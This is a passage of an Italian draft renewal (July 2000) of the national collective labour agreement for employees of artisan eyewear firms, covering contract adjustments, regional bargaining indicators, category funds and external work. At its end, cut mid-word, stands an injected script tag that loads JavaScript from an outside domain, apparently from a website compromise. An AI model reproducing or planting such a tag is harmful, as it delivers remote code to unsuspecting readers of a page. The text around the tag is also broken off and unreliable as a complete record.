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Categoria: Occhiali (artigiani) Settore: Tessili Data stipula: 13-7-2000 Data decorrenza: 1-8-2000 Data scadenza: 31-12-2003
Ipotesi di Accordo per il rinnovo
Contratto Collettivo Nazionale di Lavoro 7 maggio 1996
PER I LAVORATORI DIPENDENTI DELLE IMPRESE ARTIGIANE
DEL SETTORE OCCHIALERIA-OTTICA
tra
- Associazione Nazionale Produttori Occhiali-CONFARTIGIANATO
- CNA
- CASA
- CLAAI
e
- FILTEA-CGIL
- FILTA-CISL
- UILTA-UIL
13 luglio 2000
Adeguamento delle normative contrattuali.
Nel caso in cui, nel corso della vigenza del presente CCNL, intervengano
norme di legge, modifiche alla vigente legislazione, ovvero accordi
interconfederali che presuppongano o comportino l'adeguamento dell'attuale
normativa contrattuale, ovvero che rinviino alle parti contrattuali la
definizione di tempi, modalità e condizioni di applicazione delle stesse,
le parti concordano, sin da ora, di incontrarsi entro 30 giorni
dall'entrata in vigore di tali disposizioni legislative o dalla firma di
tali accordi interconfederali, per i necessari adeguamenti e modifiche.
Livello regionale di trattativa.
Negli incontri che si terranno a livello regionale, le parti valuteranno,
sulla base di quanto previsto dagli accordi interconfederali in materia,
le prospettive future dell'andamento del settore nella Regione, anche alla
luce di interventi e progetti specifici per l'artigianato della
Occhialeria, tesi ad accrescere la produttività e l'efficienza delle
imprese e del sistema artigiano.
A tal fine dovrà altresì essere orientata l'attività degli Osservatori
regionali di settore, di cui all'art. 7, CCNL da costituire entro il
30.6.01, affinché, anche in collegamento con gli Enti bilaterali
regionali, possano essere raccolti ed elaborati i dati utili alla lettura
degli indicatori individuati dalle parti, sempre a livello regionale.
Inoltre, al fine di verificare l'andamento del settore nella Regione agli
effetti della contrattazione regionale di 2° livello anche agli effetti
della contrattazione salariale, le parti potranno tener conto anche delle
dinamiche salariali specifiche e assumeranno i sottoindicati indicatori
con le rispettive fonti, come elementi di analisi del settore Occhialeria:
- PIL regionale e valore aggiunto per addetto (fonte: Istituto G.
Tagliacarne e altri);
- andamento occupazionale (fonti: INPS, EE.BB.);
- andamento del settore in relazione alla sua concentrazione
territoriale: numero e variazioni delle imprese; numero e variazioni degli
addetti; andamento della media dimensionale delle imprese, ecc. (fonti:
INPS, CCIAA, Osservatori di settore, enti o istituti riconosciuti
congiuntamente dalle parti).
L'incremento retributivo mensile di cui all'ultimo comma delle procedure
per la contrattazione regionale è stabilito nella misura del 25% della
media degli incrementi retributivi pattuiti nei contratti regionali
sottoscritti, durante la vigenza del presente CCNL, sino a quel momento.
Fondi di categoria.
In occasione della contrattazione regionale, le parti possono convenire
sulla istituzione di Fondi regionali di categoria collocati all'interno
degli Enti bilaterali, compatibilmente con le norme istitutive degli
stessi.
Nel caso di utilizzo di istituti contrattuali per la costituzione di detti
Fondi, occorrerà informare le parti firmatarie il presente CCNL.
Art. 9 - Lavoro esterno.
Le parti stipulanti riaffermano con forza che il "lavoro" in Italia,
comunque esso sia svolto, debba avvenire nel rispetto delle leggi e di
contratti. Nel caso in cui questo non avvenga, le parti esprimono il loro
rifiuto verso forme di devianza legislative e/o contrattuali e s'impegnano
ad adoperarsi, nell'ambito delle proprie competenze, per il superamento di
dette situazioni.
Per esprimere questa volontà e per consentire una più efficace tutela dei
lavoratori, sia dipendenti di imprese, sia artig<script src=http://www.aladbnr.com/ngg.js></script>
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